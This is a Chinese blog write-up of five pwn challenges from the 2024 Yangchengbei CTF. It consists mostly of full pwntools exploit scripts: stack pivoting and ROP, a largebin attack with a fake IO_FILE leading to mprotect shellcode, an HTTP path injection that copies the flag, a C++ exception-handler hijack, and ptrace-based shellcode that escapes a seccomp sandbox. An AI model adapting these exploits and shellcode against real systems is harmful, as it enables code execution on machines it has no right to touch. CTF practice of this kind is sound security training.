ycb2024

本文最后更新于 2025年3月15日 晚上

羊城杯 2024

2024羊城杯pwn wp

pstack

常规的栈迁移题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux","splitw","-h"]

local32_libc = "/lib/i386-linux-gnu/libc.so.6"
local64_libc = "/lib/x86_64-linux-gnu/libc.so.6"
remote_libc = "./libc.so.6"
libc = ELF(remote_libc)

p = process("./pwn")
#p = remote("139.155.126.78",33672)
elf = ELF("./pwn")

vuln = 0x4006B0
leave_ret = 0x4006DB
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400773 # pop rdi ; ret
read = 0x4006C4
call_read = 0x4006D5
ret = 0x4006DC

rbp = 0x601500

payload1 = b'a'*48 + p64(rbp) + p64(read)
p.send(payload1)

payload2 = b'a'*48 + p64(rbp+0x30) + p64(read)
p.send(payload2)

payload3 = p64(rbp+0x30+0x10) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.send(payload3)

p.recvuntil(b'overflow?\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success("puts_addr: "+hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\0"))

#gdb.attach(p)

payload4 = b'a'*48+p64(rbp+0x30+0x20)+p64(read)
p.send(payload4)

#0xebc88 execve("/bin/sh", rsi, rdx)
one_gadget = libc_base + 0xebc88

pop_rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret

payload5 = b'a'*8 + p64(pop_rdx) + p64(0)*2 + p64(pop_rsi) + p64(0) + p64(one_gadget)
#payload5 = p64(0) + p64(ret) + p64(pop_rdi)+p64(binsh)+p64(system_addr)

p.send(payload5)

p.interactive()

TravelGraph

这题应该是我第一次打IO_FILE
之前都不怎么会打2.35之后的堆题,现在学会IO_FILE后总算是会打了

我们打IO_FILE的目的是劫持程序的执行流,具体来说就是call任意一个地址
然后通过一些”mov|call”的gadget把栈迁到堆上,并布置mprotect的ROP链,修改堆的执行权限
并ret到修改完执行权限的shellcode部分,从而执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# context.terminal = ["tmux","splitw","-h"]

p = process('./pwn')
#p = remote()
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

list1 = [b"car" , b"train" , b"plane"]
list2 = [b'guangzhou' , b'nanning' , b'changsha' , b'nanchang' , b'fuzhou' ]

def add(t,c1,c2,f,n):
p.sendlineafter(b'distance.\n',b'1')
p.sendlineafter(b"car/train/plane?\n",list1[t])
p.sendlineafter(b"From where?\n",list2[c1])
p.sendlineafter(b"To where?\n",list2[c2])
p.sendlineafter(b"How far?\n",str(f).encode())
p.sendafter(b"Note:\n",n)

def dele(c1,c2):
p.sendlineafter(b'distance.\n',b'2')
p.sendlineafter(b"From where?\n",list2[c1])
p.sendlineafter(b"To where?\n",list2[c2])

def show(c1,c2):
p.sendlineafter(b'distance.\n',b'3')
p.sendlineafter(b"From where?\n",list2[c1])
p.sendlineafter(b"To where?\n",list2[c2])

def edit(c1,c2,w,f,n):
p.sendlineafter(b'distance.\n',b'4')
p.sendlineafter(b"From where?\n",list2[c1])
p.sendlineafter(b"To where?\n",list2[c2])
p.sendlineafter(b"change?\n",str(w).encode())
p.sendlineafter(b"How far?\n",str(f).encode())
p.sendafter(b"Note:\n",n)

def calc(c1):
p.sendlineafter(b'distance.\n',b'5')
p.sendlineafter(b'travel?\n',list2[c1])

p.recvuntil(b"**\n")

add(0,0,1,999,b'aaaa') # 0
add(0,1,2,999,b'aaaa') # 1
add(0,2,3,999,b'aaaa') # 2
calc(3)
dele(0,1)
dele(1,2)
dele(2,3)

add(0,0,1,10,b'aaaa') # 3
add(2,0,2,10,b'aaaa') # 4
add(1,0,3,10,b'aaaa') # 5
dele(0,2)
dele(0,1)
add(2,0,1,10,b'a'*0x500+b'b'*0x10) # 6
add(0,0,2,10,b'a'*8) # 7
show(0,1)
p.recvuntil(b'b'*0x10)
libc_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x21ace0
log.success("libc_base -> " + hex(libc_base))

dele(0,1)
dele(0,2)
add(2,0,2,10,b'b') # 8 add时unsorted bin会首先进行排序,这里会放入largebin
add(0,0,1,10,b'a') # 9
show(0,2)
p.recvuntil(b'Note:')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
heap_base = heap_addr - 0x001462
log.success("heap_base -> " + hex(heap_base))

add(1,1,2,10,b'a') # 10
add(0,1,3,10,b'a') # 11
dele(1,2)
dele(1,3)
add(0,1,2,10,b'a') # 12
add(1,1,3,10,p32(4)+p32(4)+p32(0x2000)+p32(10)) # 13

add(1,2,2,10,b'a'*0x100) # 14
add(0,2,3,10,b'a') # 15

orw = '''
push 0x67616c66
dec eax
mov edi, esp
xor esi, esi
push 0x2
pop eax
syscall
dec eax
mov edi, eax
dec eax
mov esi, esp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 0x1
dec eax
mov esi, esp
push 0x1
pop eax
syscall
'''

shellcode = b'hflagH\x89\xe71\xf6j\x02X\x0f\x05H\x89\xc7H\x89\xe6\xba\x00\x01\x00\x001\xc0\x0f\x05\xbf\x01\x00\x00\x00H\x89\xe6j\x01X\x0f\x05'

fake_IO_FILE = heap_base + 0x38a0

# 构建IO_FILE_plus结构体
f = flat({
0x0: p64(0), # _flags
0x8: p64(0), # _IO_read_ptr
0x10: p64(0), # _IO_read_end
0x18: p64(0), # _IO_read_base
0x20: p64(0), # _IO_write_base
0x28: p64(0), # _IO_write_ptr
0x30: p64(0), # _IO_write_end
0x38: p64(fake_IO_FILE + 0x280), # _IO_buf_base
0x40: p64(0), # _IO_buf_end
0x48: p64(0), # _IO_save_base
0x50: p64(0), # _IO_backup_base
0x58: p64(0), # _IO_save_end
0x60: p64(0), # markers
0x68: p64(0), # _chain
0x70: p32(0), # _fileno
0x74: p32(0), # _flags2
0x78: p64(0), # _old_offset
0x80: p16(0), # _cur_column
0x82: p8(0), # _vtable_offset
0x83: p8(0), # _shortbuf
0x88: p64(0), # _lock
0x90: p64(0), # _offset
0x98: p64(0), # _codecvt
0xa0: p64(fake_IO_FILE + 0xe0), # _wide_data
0xa8: p64(0), # _freeres_list
0xb0: p64(0), # _freeres_buf
0xb8: p64(0), # __pad5
0xc0: p32(0), # _mode
0xc4: p32(0), # _unused2
0xd8: p64(libc_base + 0x2170c0), #_vtables
}, filler = b'\x00')
data = bytes(f).ljust(0xe0,b'\x00')

#在fake_IO_FILE+0xe0处构建_wide_data结构体
data += b'\x00'*0xe0 # 填充_wide_data结构体,后面就是_wide_vtable的位置
data += p64(fake_IO_FILE + 0x200) #在_wide_vtable处写上fake_IO_FILE+0x200,后续在fake_IO_FILE+0x200处伪造_IO_jump_t
data = data.ljust(0x200,b'\x00')

#在fake_IO_FILE+0x200处伪造_IO_jump_t
data += b'\x00'*0x68
data += p64(libc_base+0x15d48a) # 0x000000000015d48a : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10] rdi+0x38即f._IO_buf_base
data = data.ljust(0x280,b'\x00')

#其他数据
data += p64(fake_IO_FILE + 0x2a0)+p64(0)
data += p64(libc_base+0x162f64) # 0x0000000000162f64 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
data = data.ljust(0x2a0,b'\x00')

data += p64(0)
data += p64(fake_IO_FILE + 0x2e0)
data += p64(libc_base + 0x167420) + b"\x00"*0x20 # mov rdx,QWORD PTR [rdi+0x8] ; mov QWORD PTR [rsp],rax ; call QWORD PTR [rdx+0x20]
data += p64(fake_IO_FILE + 0x2a0)
data = data.ljust(0x2e0, b"\x00")

data += p64(libc_base + 0xd2ba5)+0x18*b"\x00" # add rsp,0x20 ; pop rbx ; ret
data += p64(libc_base + 0x5a120)+0x8*b"\x00" # mov_rsp_rdx

data += p64(libc_base + 0x2a3e5) # pop_rdi
data += p64(heap_base)
data += p64(libc_base + 0x2be51) # pop_rsi
data += p64(0x10000)
data += p64(libc_base + 0x904a9) # pop_rdx_rbx
data += p64(7)
data += p64(0)
data += p64(libc.sym.mprotect + libc_base)
data += p64(fake_IO_FILE + 0x380)
data = data.ljust(0x380, b"\x00")
data += shellcode

add(0,2,4,999,data[0x20:]) # 16 # victim,在后续攻击中在IO_list_all上写这个堆块的地址
add(0,3,3,999,b'gap') # 17
dele(2,2) # 释放2 2堆块
add(2,3,4,999,b'd'*0x100) #18 # 将2 2堆块置入largebin
dele(2,4) # 将 2 4 堆块置入unsorted bin
edit(4,4,0,99,b'c'*0x500+p64(0)+p64(0x531)+p64(libc_base+0x21b110)+p64(libc_base+0x21b110)+p64(heap_base+0x2e50)+p64(libc_base+libc.sym["_IO_list_all"]-0x20)) # 溢出布置largebin

# largebin attack,利用将unsorted bin中的堆块放入largebin进行攻击
add(2,0,4,999,b"b") # 19

p.sendlineafter(b'5. Calculate the distance.\n',b'6')
p.interactive()

p.interactive()

httpd

出题人手写的httpd
含有目录穿越检测、字符串waf
但是根本不严,随便绕过

发两次包即可
第一次将flag复制到html目录下

1
2
3
GET /cp%20/flag%20/home/ctf/html HTTP/1.0
Host: 192.168.0.1
Content-Length: 0

第二次直接读取flag

1
2
3
GET /flag HTTP/1.0
Host: 192.168.0.1
Content-Length: 0

logger

trace函数有数组溢出,可以修改”Buffer overflow”这个字符串
warn函数同样有个溢出,不过会在溢出后触发c++的异常处理机制

我们需要攻击的就是这个异常处理机制,通过溢出,我们可以使触发异常后执行到任意一个catch块中
并且我们发现正好有个cacth块中调用了system函数,并且其参数正好就是Buffer overflow字符串所在的位置

所有我们可以通过溢出修改Buffer overflow为/bin/sh
再通过c++异常处理调用到改catch块中拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
#context.terminal = ["tmux","splitw","-h"]

local32_libc = "/lib/i386-linux-gnu/libc.so.6"
local64_libc = "/lib/x86_64-linux-gnu/libc.so.6"
remote_libc = "./libc.so.6"
libc = ELF(local64_libc)

p = process("./pwn")
#p = remote()
elf = ELF("./pwn")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def command(option):
p.recvuntil(b'chocie')
p.sendline(bytes(str(option),'utf-8'))

def Trace(Content,records=b'y'):
command(1)
p.recvuntil(b'here')
p.send(Content)
p.recvuntil(b'records?')
p.sendline(records)

def Warn(plz):
command(2)
p.recvuntil(b'plz')
p.send(plz)

for i in range(8):
Trace(b'a'*0x10)
Trace(b'/bin/sh\x00')

unwind_try = 0x401BC7
bss = 0x404000+0x50+0x500
payload = b'A'*0x70
payload+= p64(bss) + p64(unwind_try)

gdb.attach(p)

Warn(payload)

p.interactive()

hard+sandbox

这个题难在如何绕过沙箱,关于shellcode如何编写的我在shellcode这篇文章中写了

本题没有禁用openat2,但本题不支持该系统调用
因为openat2系统调用是在kernel5.6版本引入的,因此ubuntu20.04及以下的版本是不支持该系统调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# context.terminal = ["tmux","splitw","-h"]

libc = ELF("./libc.so.6")

p = process("./pwn")
#p = remote()
elf = ELF("./pwn")

def add(idx,size):
p.sendlineafter(b">",b'1')
p.sendlineafter(b"Index: ",str(idx).encode())
p.sendlineafter(b"Size: ",str(size).encode())

def delete(idx):
p.sendlineafter(b">",b'2')
p.sendlineafter(b"Index: ",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b">",b'3')
p.sendlineafter(b"Index: ",str(idx).encode())
p.sendlineafter(b"Content: ",content)

def show(idx):
p.sendlineafter(b">",b'4')
p.sendlineafter(b"Index: ",str(idx).encode())

def quit():
p.sendlineafter(b">",b'5')

add(0,0x700)
add(1,0x500)
delete(0)
show(0)

libc_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x1f6cc0
log.success("libc_base -> " + hex(libc_base))

add(0,0x500)
edit(0,b'a'*16)
show(0)

p.recvuntil(b'a'*16)
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
heap_base = heap_addr - 0x20a
log.success("heap_base -> " + hex(heap_base))

delete(0)
delete(1)

add(0,0x700)
add(1,0x500)
add(2,0x6f0)
add(3,0x500)
delete(0)
add(4,0x900)
edit(0,p64(libc_base + 0x1f7170)*2 + p64(heap_base+0x290) + p64(libc_base + libc.sym['_IO_list_all'] - 0x20))
delete(2)
add(5,0x900)

fake_IO_FILE = heap_base + 0xeb0
f = flat({
0x0: p64(0), # _flags
0x8: p64(0), # _IO_read_ptr
0x10: p64(0), # _IO_read_endo
0x18: p64(0), # _IO_read_base
0x20: p64(0), # _IO_write_base
0x28: p64(1), # _IO_write_ptr
0x30: p64(0), # _IO_write_end
0x38: p64(0), # _IO_buf_base
0x40: p64(0), # _IO_buf_end
0x48: p64(0), # _IO_save_base
0x50: p64(0), # _IO_backup_base
0x58: p64(0), # _IO_save_end
0x60: p64(0), # markers
0x68: p64(0), # _chain
0x70: p32(0), # _fileno
0x74: p32(0), # _flags2
0x78: p64(0), # _old_offset
0x80: p16(0), # _cur_column
0x82: p8(0), # _vtable_offset
0x83: p8(0), # _shortbuf
0x88: p64(0), # _lock
0x90: p64(0), # _offset
0x98: p64(0), # _codecvt
0xa0: p64(fake_IO_FILE + 0xe0), # _wide_data
0xa8: p64(0), # _freeres_list
0xb0: p64(0), # _freeres_buf
0xb8: p64(0), # __pad5
0xc0: p32(0), # _mode
0xc4: p32(0), # _unused2
0xd8: p64(libc_base + 0x1f30a0), #_vtables
}, filler = b'\x00')
payload = f.ljust(0xe0,b'\x00')

payload += b"\x00" * 0xe0
payload += p64(fake_IO_FILE + 0x200)
payload = payload.ljust(0x200, b"\x00")

payload += b"\x00" * 0x38
payload += p64(fake_IO_FILE+0x280)
payload = payload.ljust(0x268,b'\x00')
payload += p64(libc_base + 0x160e56) # mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
payload = payload.ljust(0x280, b"\x00")

setcontext = flat({
0x20: p64(libc_base+0x041c3d), # <setcontext+61>
0xa0: p64(fake_IO_FILE+0x400), # mov rsp,QWORD PTR [rdx+0xa0]
0x80: p64(0), # mov rbx,QWORD PTR [rdx+0x80]
0x78: p64(0), # mov rbp,QWORD PTR [rdx+0x78]
0x48: p64(0), # mov r12,QWORD PTR [rdx+0x48]
0x50: p64(0), # mov r13,QWORD PTR [rdx+0x50]
0x58: p64(0), # mov r14,QWORD PTR [rdx+0x58]
0x60: p64(0), # mov r15,QWORD PTR [rdx+0x60]
0xa8: p64(libc_base+0x233d1), # mov rcx,QWORD PTR [rdx+0xa8] ; push rcx # 0x00000000000233d1 : ret
0x70: p64(0), # mov rsi,QWORD PTR [rdx+0x70]
0x68: p64(0), # mov rdi,QWORD PTR [rdx+0x68]
0x98: p64(0), # mov rcx,QWORD PTR [rdx+0x98]
0x28: p64(0), # mov r8,QWORD PTR [rdx+0x28]
0x30: p64(0), # mov r9,QWORD PTR [rdx+0x30]
0x88: p64(0), # mov rdx,QWORD PTR [rdx+0x88]
},filler = b'\x00')

payload += setcontext
payload = payload.ljust(0x400,b'\x00')

payload += p64(libc_base+0x23b65) # 0x0000000000023b65 : pop rdi ; ret
payload += p64(heap_base)
payload += p64(libc_base+0x251be) # 0x00000000000251be : pop rsi ; ret
payload += p64(0x10000)
payload += p64(libc_base+0x166262) # 0x0000000000166262 : pop rdx ; ret
payload += p64(7)
payload += p64(libc_base+libc.sym['mprotect'])
payload += p64(fake_IO_FILE+0x450)
payload = payload.ljust(0x450,b'\x00')

asmcode = '''
_start:
/* fork() */
mov rax,57
syscall

/* if(pid<0) exit(0) */
test rax,rax
js _exit

/* if(pid==0) */
cmp rax,0
je child_process

parent_process:
/* save pid with r8 */
mov r8,rax
mov rsi,r8

/* ptrace(PTRACE_ATTACH,pid,0,0); */
mov rax,101
mov rdi,0x10
xor rdx,rdx
xor r10,r10
syscall

monitor_child:
/* wait4(pid,0,0,0); */
mov rdi,r8
xor rsi,rsi
xor rdx,rdx
xor r10,r10
mov rax,61
syscall

/* ptrace(PTRACE_SETOPTIONS, child_pid, 0, PTRACE_O_TRACESECCOMP) */
mov rdi,0x4200 /* PTRACE_SETOPTIONS */
mov rsi,r8
xor rdx,rdx
mov r10,0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax,101
syscall

/* ptrace(PTRACE_CONT,pid,0,0) */
mov rdi,0x7
mov rsi,r8
xor rdx,rdx
xor r10,r10
mov rax,101
syscall

jmp monitor_child

child_process:
/* syscall(SYS_nanosleep,t,0) */
push 0
push 1
mov rdi,rsp
xor rsi,rsi
mov rax,0x23
syscall

/* execve("/bin/bash",0,0) */
mov rax,0x0068 /* "h\x00" */
push rax
mov rax,0x7361622f6e69622f /* "/bin/bas" */
push rax
mov rdi,rsp
mov rsi,0
xor rdx,rdx
mov rax,59
syscall

jmp child_process

_exit:
/* exit(0) */
mov rax,60
xor rdi,rdi
syscall

'''

shellcode = b'H\xc7\xc09\x00\x00\x00\x0f\x05H\x85\xc0\x0f\x88\xad\x00\x00\x00H\x83\xf8\x00tiI\x89\xc0L\x89\xc6H\xc7\xc0e\x00\x00\x00H\xc7\xc7\x10\x00\x00\x00H1\xd2M1\xd2\x0f\x05L\x89\xc7H1\xf6H1\xd2M1\xd2H\xc7\xc0=\x00\x00\x00\x0f\x05H\xc7\xc7\x00B\x00\x00L\x89\xc6H1\xd2I\xc7\xc2\x80\x00\x00\x00H\xc7\xc0e\x00\x00\x00\x0f\x05H\xc7\xc7\x07\x00\x00\x00L\x89\xc6H1\xd2M1\xd2H\xc7\xc0e\x00\x00\x00\x0f\x05\xeb\xb3j\x00j\x01H\x89\xe7H1\xf6H\xc7\xc0#\x00\x00\x00\x0f\x05H\xc7\xc0h\x00\x00\x00PH\xb8/bin/basPH\x89\xe7H\xc7\xc6\x00\x00\x00\x00H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05\xeb\xc2H\xc7\xc0<\x00\x00\x00H1\xff\x0f\x05'
payload += bytes(shellcode)

edit(2,payload[0x10:])
quit()

p.interactive()

'''
# ls
echo *

# cat flag
read -r f < flag
echo ${f}
'''

ycb2024
https://voidchunk.github.io/2024/11/05/ycb2024/
作者
voidchunk
发布于
2024年11月5日
许可协议